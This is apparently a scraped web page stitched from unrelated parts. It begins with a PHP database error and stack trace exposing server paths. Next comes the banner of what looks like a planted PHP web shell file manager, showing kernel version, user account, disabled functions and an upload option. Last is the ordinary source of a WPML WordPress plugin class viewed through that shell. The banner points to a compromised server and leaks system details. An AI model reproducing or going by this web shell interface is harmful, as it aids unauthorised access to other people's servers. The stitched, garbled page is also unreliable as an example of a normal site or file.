A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux sys.digiflyeg.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: opal (1023)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/opal/public_html/wp-content/plugins/sitepress-multilingual-cms/API/Basket.php
<?php

namespace WPML\TM\API;

use WPML\Element\API\Languages;
use WPML\LIB\WP\User;
use WPML\Setup\Option;
use function WPML\Container\make;

class Basket {
	/**
	 * @return bool
	 */
	public static function shouldUse( $currentLanguageCode = null ) {
		$doesNotHaveUserForEachLanguage = function () use ( $currentLanguageCode ) {
			global $sitepress;

			$theCurrentUserId = User::getCurrentId();

			$translator_records = make( \WPML_Translator_Records::class );
			$current_language   = $currentLanguageCode ?: Languages::getCurrentCode();
			$active_languages   = $sitepress->get_active_languages();
			unset( $active_languages[ $current_language ] );
			$active_languages = array_keys( $active_languages );
			foreach ( $active_languages as $active_language ) {
				$translators           = $translator_records->get_users_with_languages( $current_language, [ $active_language ] );
				$number_of_translators = count( $translators );

				$hasOneTranslatorButHeIsNotACurrentUser = $number_of_translators === 1 && $translators[0]->ID !== $theCurrentUserId;
				if ( $hasOneTranslatorButHeIsNotACurrentUser || $number_of_translators !== 1 ) {
					return true;
				}
			}

			return false;
		};

		/** @var TranslationServices $translationService */
		$translationService = make(TranslationServices::class);

		return $translationService->isAuthorized() || ! Option::shouldTranslateEverything() && $doesNotHaveUserForEachLanguage();
	}

}